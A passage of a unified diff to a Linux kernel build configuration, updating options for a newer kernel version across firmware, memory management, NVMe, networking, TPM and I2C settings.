-CONFIG_EFI_RUNTIME_WRAPPERS=y -# CONFIG_EFI_BOOTLOADER_CONTROL is not set -# CONFIG_EFI_CAPSULE_LOADER is not set -# CONFIG_EFI_TEST is not set -# CONFIG_EFI_RCI2_TABLE is not set -# CONFIG_EFI_DISABLE_PCI_DMA is not set -# end of EFI (Extensible Firmware Interface) Support - -CONFIG_EFI_CUSTOM_SSDT_OVERLAYS=y - -# -# Tegra firmware driver -# -# end of Tegra firmware driver -# end of Firmware Drivers - CONFIG_HAVE_KVM=y # CONFIG_VIRTUALIZATION is not set CONFIG_AS_AVX512=y @@ -540,8 +511,6 @@ CONFIG_CRASH_CORE=y CONFIG_KEXEC_CORE=y CONFIG_HOTPLUG_SMT=y CONFIG_GENERIC_ENTRY=y -CONFIG_HAVE_OPROFILE=y -CONFIG_OPROFILE_NMI_TIMER=y # CONFIG_KPROBES is not set CONFIG_JUMP_LABEL=y # CONFIG_STATIC_KEYS_SELFTEST is not set @@ -553,8 +522,11 @@ CONFIG_HAVE_KPROBES=y CONFIG_HAVE_KRETPROBES=y CONFIG_HAVE_OPTPROBES=y CONFIG_HAVE_KPROBES_ON_FTRACE=y +CONFIG_ARCH_CORRECT_STACKTRACE_ON_KRETPROBE=y CONFIG_HAVE_FUNCTION_ERROR_INJECTION=y CONFIG_HAVE_NMI=y +CONFIG_TRACE_IRQFLAGS_SUPPORT=y +CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y CONFIG_HAVE_ARCH_TRACEHOOK=y CONFIG_HAVE_DMA_CONTIGUOUS=y CONFIG_GENERIC_SMP_IDLE_THREAD=y @@ -563,9 +535,11 @@ CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y +CONFIG_ARCH_WANTS_NO_INSTR=y CONFIG_HAVE_ASM_MODVERSIONS=y CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y CONFIG_HAVE_RSEQ=y +CONFIG_HAVE_RUST=y CONFIG_HAVE_FUNCTION_ARG_ACCESS_API=y CONFIG_HAVE_HW_BREAKPOINT=y CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y @@ -576,6 +550,7 @@ CONFIG_HAVE_PERF_REGS=y CONFIG_HAVE_PERF_USER_STACK_DUMP=y CONFIG_HAVE_ARCH_JUMP_LABEL=y CONFIG_HAVE_ARCH_JUMP_LABEL_RELATIVE=y +CONFIG_MMU_GATHER_MERGE_VMAS=y CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y CONFIG_HAVE_CMPXCHG_LOCAL=y @@ -587,36 +562,65 @@ CONFIG_HAVE_ARCH_STACKLEAK=y CONFIG_HAVE_STACKPROTECTOR=y CONFIG_STACKPROTECTOR=y CONFIG_STACKPROTECTOR_STRONG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG_THIN=y +CONFIG_LTO_NONE=y +CONFIG_ARCH_SUPPORTS_CFI_CLANG=y CONFIG_HAVE_ARCH_WITHIN_STACK_FRAMES=y -CONFIG_HAVE_CONTEXT_TRACKING=y +CONFIG_HAVE_CONTEXT_TRACKING_USER=y +CONFIG_HAVE_CONTEXT_TRACKING_USER_OFFSTACK=y CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y +CONFIG_HAVE_MOVE_PUD=y CONFIG_HAVE_MOVE_PMD=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE_PUD=y CONFIG_HAVE_ARCH_HUGE_VMAP=y +CONFIG_HAVE_ARCH_HUGE_VMALLOC=y CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y CONFIG_HAVE_ARCH_SOFT_DIRTY=y CONFIG_HAVE_MOD_ARCH_SPECIFIC=y CONFIG_MODULES_USE_ELF_RELA=y +CONFIG_HAVE_IRQ_EXIT_ON_IRQ_STACK=y +CONFIG_HAVE_SOFTIRQ_ON_OWN_STACK=y +CONFIG_SOFTIRQ_ON_OWN_STACK=y CONFIG_ARCH_HAS_ELF_RANDOMIZE=y CONFIG_HAVE_ARCH_MMAP_RND_BITS=y CONFIG_HAVE_EXIT_THREAD=y CONFIG_ARCH_MMAP_RND_BITS=28 +CONFIG_PAGE_SIZE_LESS_THAN_64KB=y +CONFIG_PAGE_SIZE_LESS_THAN_256KB=y +CONFIG_HAVE_OBJTOOL=y +CONFIG_HAVE_JUMP_LABEL_HACK=y +CONFIG_HAVE_NOINSTR_HACK=y +CONFIG_HAVE_NOINSTR_VALIDATION=y +CONFIG_HAVE_UACCESS_VALIDATION=y CONFIG_HAVE_STACK_VALIDATION=y CONFIG_HAVE_RELIABLE_STACKTRACE=y # CONFIG_COMPAT_32BIT_TIME is not set CONFIG_HAVE_ARCH_VMAP_STACK=y CONFIG_VMAP_STACK=y +CONFIG_HAVE_ARCH_RANDOMIZE_KSTACK_OFFSET=y +CONFIG_RANDOMIZE_KSTACK_OFFSET=y +# CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT is not set CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y CONFIG_STRICT_KERNEL_RWX=y CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y CONFIG_STRICT_MODULE_RWX=y CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y +CONFIG_ARCH_USE_MEMREMAP_PROT=y CONFIG_ARCH_HAS_MEM_ENCRYPT=y CONFIG_HAVE_STATIC_CALL=y CONFIG_HAVE_STATIC_CALL_INLINE=y +CONFIG_HAVE_PREEMPT_DYNAMIC=y +CONFIG_HAVE_PREEMPT_DYNAMIC_CALL=y CONFIG_ARCH_WANT_LD_ORPHAN_WARN=y +CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y +CONFIG_ARCH_SUPPORTS_PAGE_TABLE_CHECK=y +CONFIG_ARCH_HAS_ELFCORE_COMPAT=y +CONFIG_ARCH_HAS_PARANOID_L1D_FLUSH=y +CONFIG_DYNAMIC_SIGFRAME=y +CONFIG_ARCH_HAS_NONLEAF_PMD_YOUNG=y # # GCOV-based kernel profiling @@ -625,6 +629,8 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set # end of General architecture-dependent options CONFIG_RT_MUTEXES=y @@ -635,19 +641,21 @@ CONFIG_MODULES=y # CONFIG_MODVERSIONS is not set # CONFIG_MODULE_SRCVERSION_ALL is not set # CONFIG_MODULE_SIG is not set -# CONFIG_MODULE_COMPRESS is not set +CONFIG_MODULE_COMPRESS_NONE=y +# CONFIG_MODULE_COMPRESS_GZIP is not set +# CONFIG_MODULE_COMPRESS_XZ is not set +# CONFIG_MODULE_COMPRESS_ZSTD is not set # CONFIG_MODULE_ALLOW_MISSING_NAMESPACE_IMPORTS is not set -# CONFIG_UNUSED_SYMBOLS is not set +CONFIG_MODPROBE_PATH="/sbin/modprobe" CONFIG_TRIM_UNUSED_KSYMS=y CONFIG_UNUSED_KSYMS_WHITELIST="" CONFIG_MODULES_TREE_LOOKUP=y CONFIG_BLOCK=y -CONFIG_BLK_SCSI_REQUEST=y -CONFIG_BLK_DEV_BSG=y +CONFIG_BLOCK_LEGACY_AUTOLOAD=y +CONFIG_BLK_DEV_BSG_COMMON=y CONFIG_BLK_DEV_BSGLIB=y # CONFIG_BLK_DEV_INTEGRITY is not set # CONFIG_BLK_DEV_ZONED is not set -# CONFIG_BLK_CMDLINE_PARSER is not set # CONFIG_BLK_WBT is not set # CONFIG_BLK_SED_OPAL is not set # CONFIG_BLK_INLINE_ENCRYPTION is not set @@ -661,6 +669,8 @@ CONFIG_EFI_PARTITION=y # end of Partition Types CONFIG_BLK_MQ_PCI=y +CONFIG_BLOCK_HOLDER_DEPRECATED=y +CONFIG_BLK_MQ_STACKING=y # # IO Schedulers @@ -700,38 +710,71 @@ CONFIG_BINFMT_SCRIPT=y # # Memory Management options # -CONFIG_SELECT_MEMORY_MODEL=y -CONFIG_SPARSEMEM_MANUAL=y +# CONFIG_SWAP is not set + +# +# SLAB allocator options +# +# CONFIG_SLAB is not set +CONFIG_SLUB=y +# CONFIG_SLOB is not set +CONFIG_SLAB_MERGE_DEFAULT=y +# CONFIG_SLAB_FREELIST_RANDOM is not set +# CONFIG_SLAB_FREELIST_HARDENED is not set +# CONFIG_SLUB_STATS is not set +CONFIG_SLUB_CPU_PARTIAL=y +# end of SLAB allocator options + +# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set +# CONFIG_COMPAT_BRK is not set CONFIG_SPARSEMEM=y CONFIG_SPARSEMEM_EXTREME=y CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y CONFIG_SPARSEMEM_VMEMMAP=y CONFIG_HAVE_FAST_GUP=y +CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y # CONFIG_MEMORY_HOTPLUG is not set CONFIG_SPLIT_PTLOCK_CPUS=4 +CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y # CONFIG_COMPACTION is not set # CONFIG_PAGE_REPORTING is not set CONFIG_PHYS_ADDR_T_64BIT=y -CONFIG_VIRT_TO_BUS=y CONFIG_MMU_NOTIFIER=y # CONFIG_KSM is not set CONFIG_DEFAULT_MMAP_MIN_ADDR=65536 CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y # CONFIG_MEMORY_FAILURE is not set -# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_ARCH_WANT_GENERAL_HUGETLB=y CONFIG_ARCH_WANTS_THP_SWAP=y -# CONFIG_CLEANCACHE is not set +# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y +CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y +CONFIG_HAVE_SETUP_PER_CPU_AREA=y # CONFIG_CMA is not set -# CONFIG_ZPOOL is not set -# CONFIG_ZBUD is not set -# CONFIG_ZSMALLOC is not set CONFIG_GENERIC_EARLY_IOREMAP=y # CONFIG_DEFERRED_STRUCT_PAGE_INIT is not set # CONFIG_IDLE_PAGE_TRACKING is not set +CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y +CONFIG_ARCH_HAS_CURRENT_STACK_POINTER=y CONFIG_ARCH_HAS_PTE_DEVMAP=y +CONFIG_ARCH_HAS_ZONE_DMA_SET=y +# CONFIG_ZONE_DMA is not set +CONFIG_ZONE_DMA32=y +# CONFIG_VM_EVENT_COUNTERS is not set # CONFIG_PERCPU_STATS is not set -# CONFIG_GUP_BENCHMARK is not set + +# +# GUP_TEST needs to have DEBUG_FS enabled +# CONFIG_ARCH_HAS_PTE_SPECIAL=y +# CONFIG_USERFAULTFD is not set +# CONFIG_LRU_GEN is not set + +# +# Data Access Monitoring +# +# CONFIG_DAMON is not set +# end of Data Access Monitoring # end of Memory Management options CONFIG_NET=y @@ -743,6 +786,7 @@ CONFIG_PACKET=y # CONFIG_PACKET_DIAG is not set CONFIG_UNIX=y CONFIG_UNIX_SCM=y +CONFIG_AF_UNIX_OOB=y # CONFIG_UNIX_DIAG is not set # CONFIG_TLS is not set # CONFIG_XFRM_USER is not set @@ -753,12 +797,13 @@ CONFIG_INET=y # CONFIG_IP_PNP is not set # CONFIG_NET_IPIP is not set # CONFIG_NET_IPGRE_DEMUX is not set -# CONFIG_SYN_COOKIES is not set +CONFIG_SYN_COOKIES=y # CONFIG_NET_IPVTI is not set # CONFIG_NET_FOU is not set # CONFIG_INET_AH is not set # CONFIG_INET_ESP is not set # CONFIG_INET_IPCOMP is not set +CONFIG_INET_TABLE_PERTURB_ORDER=16 # CONFIG_INET_DIAG is not set # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y @@ -777,10 +822,8 @@ CONFIG_DEFAULT_TCP_CONG="cubic" # CONFIG_ATM is not set # CONFIG_L2TP is not set # CONFIG_BRIDGE is not set -CONFIG_HAVE_NET_DSA=y # CONFIG_NET_DSA is not set # CONFIG_VLAN_8021Q is not set -# CONFIG_DECNET is not set # CONFIG_LLC2 is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set @@ -800,12 +843,13 @@ CONFIG_HAVE_NET_DSA=y # CONFIG_NET_L3_MASTER_DEV is not set # CONFIG_QRTR is not set # CONFIG_NET_NCSI is not set +CONFIG_PCPU_DEV_REFCNT=y CONFIG_RPS=y CONFIG_RFS_ACCEL=y +CONFIG_SOCK_RX_QUEUE_MAPPING=y CONFIG_XPS=y CONFIG_NET_RX_BUSY_POLL=y CONFIG_BQL=y -# CONFIG_BPF_JIT is not set CONFIG_NET_FLOW_LIMIT=y # @@ -820,8 +864,8 @@ CONFIG_NET_FLOW_LIMIT=y # CONFIG_BT is not set # CONFIG_AF_RXRPC is not set # CONFIG_AF_KCM is not set +# CONFIG_MCTP is not set # CONFIG_WIRELESS is not set -# CONFIG_WIMAX is not set # CONFIG_RFKILL is not set # CONFIG_NET_9P is not set # CONFIG_CAIF is not set @@ -832,7 +876,6 @@ CONFIG_NET_FLOW_LIMIT=y # CONFIG_LWTUNNEL is not set # CONFIG_FAILOVER is not set CONFIG_ETHTOOL_NETLINK=y -CONFIG_HAVE_EBPF_JIT=y # # Device Drivers @@ -865,6 +908,8 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_PCIE_BUS_SAFE is not set # CONFIG_PCIE_BUS_PERFORMANCE is not set # CONFIG_PCIE_BUS_PEER2PEER is not set +CONFIG_VGA_ARB=y +CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_HOTPLUG_PCI is not set # @@ -902,6 +947,7 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_PCI_SW_SWITCHTEC is not set # end of PCI switch controller drivers +# CONFIG_CXL_BUS is not set # CONFIG_PCCARD is not set # CONFIG_RAPIDIO is not set @@ -911,6 +957,7 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_UEVENT_HELPER is not set CONFIG_DEVTMPFS=y CONFIG_DEVTMPFS_MOUNT=y +# CONFIG_DEVTMPFS_SAFE is not set # CONFIG_STANDALONE is not set CONFIG_PREVENT_FIRMWARE_BUILD=y @@ -921,6 +968,7 @@ CONFIG_FW_LOADER=y CONFIG_EXTRA_FIRMWARE="" # CONFIG_FW_LOADER_USER_HELPER is not set # CONFIG_FW_LOADER_COMPRESS is not set +# CONFIG_FW_UPLOAD is not set # end of Firmware loader # CONFIG_ALLOW_DEV_COREDUMP is not set @@ -940,9 +988,54 @@ CONFIG_DMA_SHARED_BUFFER=y # Bus devices # # CONFIG_MHI_BUS is not set +# CONFIG_MHI_BUS_EP is not set # end of Bus devices # CONFIG_CONNECTOR is not set + +# +# Firmware Drivers +# + +# +# ARM System Control and Management Interface Protocol +# +# end of ARM System Control and Management Interface Protocol + +# CONFIG_EDD is not set +# CONFIG_FIRMWARE_MEMMAP is not set +# CONFIG_DMIID is not set +# CONFIG_DMI_SYSFS is not set +CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y +# CONFIG_ISCSI_IBFT is not set +# CONFIG_FW_CFG_SYSFS is not set +CONFIG_SYSFB=y +CONFIG_SYSFB_SIMPLEFB=y +# CONFIG_GOOGLE_FIRMWARE is not set + +# +# EFI (Extensible Firmware Interface) Support +# +CONFIG_EFI_ESRT=y +CONFIG_EFI_RUNTIME_MAP=y +# CONFIG_EFI_FAKE_MEMMAP is not set +CONFIG_EFI_RUNTIME_WRAPPERS=y +# CONFIG_EFI_BOOTLOADER_CONTROL is not set +# CONFIG_EFI_CAPSULE_LOADER is not set +# CONFIG_EFI_TEST is not set +# CONFIG_EFI_RCI2_TABLE is not set +# CONFIG_EFI_DISABLE_PCI_DMA is not set +CONFIG_EFI_CUSTOM_SSDT_OVERLAYS=y +# CONFIG_EFI_DISABLE_RUNTIME is not set +# CONFIG_EFI_COCO_SECRET is not set +# end of EFI (Extensible Firmware Interface) Support + +# +# Tegra firmware driver +# +# end of Tegra firmware driver +# end of Firmware Drivers + # CONFIG_GNSS is not set # CONFIG_MTD is not set # CONFIG_OF is not set @@ -960,27 +1053,28 @@ CONFIG_BLK_DEV=y # CONFIG_BLK_DEV_FD is not set CONFIG_CDROM=y # CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set -# CONFIG_BLK_DEV_UMEM is not set CONFIG_BLK_DEV_LOOP=y CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 -# CONFIG_BLK_DEV_CRYPTOLOOP is not set # CONFIG_BLK_DEV_DRBD is not set # CONFIG_BLK_DEV_NBD is not set -# CONFIG_BLK_DEV_SKD is not set -# CONFIG_BLK_DEV_SX8 is not set CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_COUNT=16 CONFIG_BLK_DEV_RAM_SIZE=65536 # CONFIG_CDROM_PKTCDVD is not set # CONFIG_ATA_OVER_ETH is not set # CONFIG_BLK_DEV_RBD is not set -# CONFIG_BLK_DEV_RSXX is not set +# CONFIG_BLK_DEV_UBLK is not set # # NVME Support # -# CONFIG_BLK_DEV_NVME is not set +CONFIG_NVME_CORE=y +CONFIG_BLK_DEV_NVME=y +# CONFIG_NVME_MULTIPATH is not set +# CONFIG_NVME_VERBOSE_ERRORS is not set # CONFIG_NVME_FC is not set +# CONFIG_NVME_TCP is not set +# CONFIG_NVME_AUTH is not set # end of NVME Support # @@ -1003,9 +1097,9 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 # CONFIG_HMC6352 is not set # CONFIG_DS1682 is not set # CONFIG_SRAM is not set +# CONFIG_DW_XDATA_PCIE is not set # CONFIG_PCI_ENDPOINT_TEST is not set # CONFIG_XILINX_SDFEC is not set -# CONFIG_PVPANIC is not set # CONFIG_C2PORT is not set # @@ -1034,21 +1128,21 @@ CONFIG_INTEL_MEI_TXE=m # CONFIG_VMWARE_VMCI is not set # CONFIG_GENWQE is not set # CONFIG_ECHO is not set +# CONFIG_BCM_VK is not set # CONFIG_MISC_ALCOR_PCI is not set # CONFIG_MISC_RTSX_PCI is not set # CONFIG_MISC_RTSX_USB is not set # CONFIG_HABANA_AI is not set # CONFIG_UACCE is not set +# CONFIG_PVPANIC is not set # end of Misc devices -CONFIG_HAVE_IDE=y -# CONFIG_IDE is not set - # # SCSI device support # CONFIG_SCSI_MOD=y # CONFIG_RAID_ATTRS is not set +CONFIG_SCSI_COMMON=y CONFIG_SCSI=y CONFIG_SCSI_DMA=y # CONFIG_SCSI_PROC_FS is not set @@ -1060,6 +1154,7 @@ CONFIG_BLK_DEV_SD=y # CONFIG_CHR_DEV_ST is not set CONFIG_BLK_DEV_SR=y CONFIG_CHR_DEV_SG=y +CONFIG_BLK_DEV_BSG=y # CONFIG_CHR_DEV_SCH is not set # CONFIG_SCSI_CONSTANTS is not set # CONFIG_SCSI_LOGGING is not set @@ -1094,7 +1189,6 @@ CONFIG_ISCSI_TCP=y # CONFIG_SCSI_AIC94XX is not set # CONFIG_SCSI_MVSAS is not set # CONFIG_SCSI_MVUMI is not set -# CONFIG_SCSI_DPT_I2O is not set # CONFIG_SCSI_ADVANSYS is not set # CONFIG_SCSI_ARCMSR is not set # CONFIG_SCSI_ESAS2R is not set @@ -1103,8 +1197,8 @@ CONFIG_ISCSI_TCP=y # CONFIG_MEGARAID_SAS is not set # CONFIG_SCSI_MPT3SAS is not set # CONFIG_SCSI_MPT2SAS is not set +# CONFIG_SCSI_MPI3MR is not set # CONFIG_SCSI_SMARTPQI is not set -# CONFIG_SCSI_UFSHCD is not set # CONFIG_SCSI_HPTIOP is not set # CONFIG_SCSI_BUSLOGIC is not set # CONFIG_SCSI_MYRB is not set @@ -1113,7 +1207,6 @@ CONFIG_ISCSI_TCP=y # CONFIG_SCSI_SNIC is not set # CONFIG_SCSI_DMX3191D is not set # CONFIG_SCSI_FDOMAIN_PCI is not set -# CONFIG_SCSI_GDTH is not set # CONFIG_SCSI_ISCI is not set # CONFIG_SCSI_IPS is not set # CONFIG_SCSI_INITIO is not set @@ -1146,6 +1239,7 @@ CONFIG_SATA_PMP=y CONFIG_SATA_AHCI=y CONFIG_SATA_MOBILE_LPM_POLICY=0 # CONFIG_SATA_AHCI_PLATFORM is not set +# CONFIG_AHCI_DWC is not set # CONFIG_SATA_INIC162X is not set # CONFIG_SATA_ACARD_AHCI is not set # CONFIG_SATA_SIL24 is not set @@ -1217,12 +1311,6 @@ CONFIG_NET_CORE=y # CONFIG_VETH is not set # CONFIG_NLMON is not set # CONFIG_ARCNET is not set - -# -# Distributed Switch Architecture drivers -# -# end of Distributed Switch Architecture drivers - CONFIG_ETHERNET=y # CONFIG_NET_VENDOR_3COM is not set # CONFIG_NET_VENDOR_ADAPTEC is not set @@ -1234,21 +1322,23 @@ CONFIG_ETHERNET=y # CONFIG_NET_VENDOR_AMD is not set # CONFIG_NET_VENDOR_AQUANTIA is not set # CONFIG_NET_VENDOR_ARC is not set +# CONFIG_NET_VENDOR_ASIX is not set # CONFIG_NET_VENDOR_ATHEROS is not set -# CONFIG_NET_VENDOR_AURORA is not set +# CONFIG_CX_ECAT is not set # CONFIG_NET_VENDOR_BROADCOM is not set -# CONFIG_NET_VENDOR_BROCADE is not set # CONFIG_NET_VENDOR_CADENCE is not set # CONFIG_NET_VENDOR_CAVIUM is not set # CONFIG_NET_VENDOR_CHELSIO is not set # CONFIG_NET_VENDOR_CISCO is not set # CONFIG_NET_VENDOR_CORTINA is not set -# CONFIG_CX_ECAT is not set +# CONFIG_NET_VENDOR_DAVICOM is not set # CONFIG_DNET is not set # CONFIG_NET_VENDOR_DEC is not set # CONFIG_NET_VENDOR_DLINK is not set # CONFIG_NET_VENDOR_EMULEX is not set +# CONFIG_NET_VENDOR_ENGLEDER is not set # CONFIG_NET_VENDOR_EZCHIP is not set +# CONFIG_NET_VENDOR_FUNGIBLE is not set # CONFIG_NET_VENDOR_GOOGLE is not set # CONFIG_NET_VENDOR_HUAWEI is not set # CONFIG_NET_VENDOR_I825XX is not set @@ -1267,24 +1357,28 @@ CONFIG_E1000E_HWTS=y # CONFIG_ICE is not set # CONFIG_FM10K is not set # CONFIG_IGC is not set +# CONFIG_NET_VENDOR_WANGXUN is not set # CONFIG_JME is not set +# CONFIG_NET_VENDOR_LITEX is not set # CONFIG_NET_VENDOR_MARVELL is not set # CONFIG_NET_VENDOR_MELLANOX is not set # CONFIG_NET_VENDOR_MICREL is not set # CONFIG_NET_VENDOR_MICROCHIP is not set # CONFIG_NET_VENDOR_MICROSEMI is not set +# CONFIG_NET_VENDOR_MICROSOFT is not set # CONFIG_NET_VENDOR_MYRI is not set # CONFIG_FEALNX is not set +# CONFIG_NET_VENDOR_NI is not set # CONFIG_NET_VENDOR_NATSEMI is not set # CONFIG_NET_VENDOR_NETERION is not set # CONFIG_NET_VENDOR_NETRONOME is not set -# CONFIG_NET_VENDOR_NI is not set # CONFIG_NET_VENDOR_NVIDIA is not set # CONFIG_NET_VENDOR_OKI is not set # CONFIG_ETHOC is not set # CONFIG_NET_VENDOR_PACKET_ENGINES is not set # CONFIG_NET_VENDOR_PENSANDO is not set # CONFIG_NET_VENDOR_QLOGIC is not set +# CONFIG_NET_VENDOR_BROCADE is not set # CONFIG_NET_VENDOR_QUALCOMM is not set # CONFIG_NET_VENDOR_RDC is not set # CONFIG_NET_VENDOR_REALTEK is not set @@ -1292,9 +1386,9 @@ CONFIG_E1000E_HWTS=y # CONFIG_NET_VENDOR_ROCKER is not set # CONFIG_NET_VENDOR_SAMSUNG is not set # CONFIG_NET_VENDOR_SEEQ is not set -# CONFIG_NET_VENDOR_SOLARFLARE is not set # CONFIG_NET_VENDOR_SILAN is not set # CONFIG_NET_VENDOR_SIS is not set +# CONFIG_NET_VENDOR_SOLARFLARE is not set # CONFIG_NET_VENDOR_SMSC is not set # CONFIG_NET_VENDOR_SOCIONEXT is not set # CONFIG_NET_VENDOR_STMICRO is not set @@ -1302,6 +1396,7 @@ CONFIG_E1000E_HWTS=y # CONFIG_NET_VENDOR_SYNOPSYS is not set # CONFIG_NET_VENDOR_TEHUTI is not set # CONFIG_NET_VENDOR_TI is not set +# CONFIG_NET_VENDOR_VERTEXCOM is not set # CONFIG_NET_VENDOR_VIA is not set # CONFIG_NET_VENDOR_WIZNET is not set # CONFIG_NET_VENDOR_XILINX is not set @@ -1309,6 +1404,7 @@ CONFIG_E1000E_HWTS=y # CONFIG_HIPPI is not set # CONFIG_NET_SB1000 is not set # CONFIG_PHYLIB is not set +# CONFIG_PSE_CONTROLLER is not set # CONFIG_MDIO_DEVICE is not set # @@ -1360,26 +1456,29 @@ CONFIG_USB_NET_CDC_SUBSET=m # CONFIG_USB_VL600 is not set # CONFIG_USB_NET_CH9200 is not set # CONFIG_USB_NET_AQC111 is not set +CONFIG_USB_RTL8153_ECM=m # CONFIG_WLAN is not set +# CONFIG_WAN is not set # -# Enable WiMAX (Networking options) to see the WiMAX drivers +# Wireless WAN # -# CONFIG_WAN is not set +# CONFIG_WWAN is not set +# end of Wireless WAN + # CONFIG_VMXNET3 is not set # CONFIG_FUJITSU_ES is not set # CONFIG_NET_FAILOVER is not set # CONFIG_ISDN is not set -# CONFIG_NVM is not set # # Input device support # CONFIG_INPUT=y # CONFIG_INPUT_FF_MEMLESS is not set -# CONFIG_INPUT_POLLDEV is not set # CONFIG_INPUT_SPARSEKMAP is not set # CONFIG_INPUT_MATRIXKMAP is not set +CONFIG_INPUT_VIVALDIFMAP=y # # Userland interfaces @@ -1413,6 +1512,7 @@ CONFIG_KEYBOARD_ATKBD=y # CONFIG_KEYBOARD_STOWAWAY is not set # CONFIG_KEYBOARD_SUNKBD is not set # CONFIG_KEYBOARD_XTKBD is not set +# CONFIG_KEYBOARD_CYPRESS_SF is not set # CONFIG_INPUT_MOUSE is not set # CONFIG_INPUT_JOYSTICK is not set # CONFIG_INPUT_TABLET is not set @@ -1469,6 +1569,7 @@ CONFIG_SERIAL_8250_RUNTIME_UARTS=4 # CONFIG_SERIAL_8250_RT288X is not set # CONFIG_SERIAL_8250_LPSS is not set # CONFIG_SERIAL_8250_MID is not set +# CONFIG_SERIAL_8250_PERICOM is not set # # Non-8250 serial port support @@ -1492,7 +1593,6 @@ CONFIG_SERIAL_CORE=y # CONFIG_N_GSM is not set # CONFIG_NOZOMI is not set # CONFIG_NULL_TTY is not set -# CONFIG_TRACE_SINK is not set # CONFIG_SERIAL_DEV_BUS is not set CONFIG_TTY_PRINTK=y CONFIG_TTY_PRINTK_LEVEL=6 @@ -1509,9 +1609,7 @@ CONFIG_HW_RANDOM_INTEL=y # CONFIG_APPLICOM is not set # CONFIG_MWAVE is not set CONFIG_DEVMEM=y -# CONFIG_DEVKMEM is not set # CONFIG_NVRAM is not set -# CONFIG_RAW_DRIVER is not set CONFIG_DEVPORT=y # CONFIG_HPET is not set # CONFIG_HANGCHECK_TIMER is not set @@ -1519,6 +1617,8 @@ CONFIG_TCG_TPM=y # CONFIG_HW_RANDOM_TPM is not set CONFIG_TCG_TIS_CORE=y CONFIG_TCG_TIS=y +# CONFIG_TCG_TIS_I2C is not set +# CONFIG_TCG_TIS_I2C_CR50 is not set # CONFIG_TCG_TIS_I2C_ATMEL is not set # CONFIG_TCG_TIS_I2C_INFINEON is not set # CONFIG_TCG_TIS_I2C_NUVOTON is not set @@ -1530,10 +1630,10 @@ CONFIG_TCG_TIS=y # CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set -# end of Character devices - +# CONFIG_XILLYUSB is not set CONFIG_RANDOM_TRUST_CPU=y # CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices # # I2C support @@ -1610,6 +1710,8 @@ CONFIG_I2C_ALGOBIT=y # External I2C/SMBus adapter drivers # # CONFIG_I2C_DIOLAN_U2C is not set +# CONFIG_I2C_CP2615 is not set +# CONFIG_I2C_PCI1XXXX is not set # CONFIG_I2C_ROBOTFUZZ_OSIF is not set # CONFIG_I2C_TAOS_EVM is not set # CONFIG_I2C_TINY_USB is not set @@ -1618,6 +1720,7 @@ CONFIG_I2C_ALGOBIT=y # Other I2C/SMBus bus drivers # # CONFIG_I2C_MLXCPLD is not set +# CONFIG_I2C_VIRTIO is not set # end of I2C Hardware Bus support # CONFIG_I2C_STUB is not set @@ -1639,6 +1742,7 @@ CONFIG_I2C_SLAVE=y # PTP clock support # # CONFIG_PTP_1588_CLOCK is not set +CONFIG_PTP_1588_CLOCK_OPTIONAL=y # # Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks. @@ -1652,12 +1756,14 @@ CONFIG_I2C_SLAVE=y CONFIG_POWER_SUPPLY=y # CONFIG_POWER_SUPPLY_DEBUG is not set # CONFIG_PDA_POWER is not set +# CONFIG_IP5XXX_POWER is not set # CONFIG_TEST_POWER is not set # CONFIG_CHARGER_ADP5061 is not set # CONFIG_BATTERY_CW2015 is not set # CONFIG_BATTERY_DS2780 is not set # CONFIG_BATTERY_DS2781 is not set # CONFIG_BATTERY_DS2782 is not set +# CONFIG_BATTERY_SAMSUNG_SDI is not set # CONFIG_BATTERY_SBS is not set # CONFIG_CHARGER_SBS is not set # CONFIG_BATTERY_BQ27XXX is not set @@ -1665,10 +1771,14 @@ CONFIG_POWER_SUPPLY=y # CONFIG_BATTERY_MAX17042 is not set # 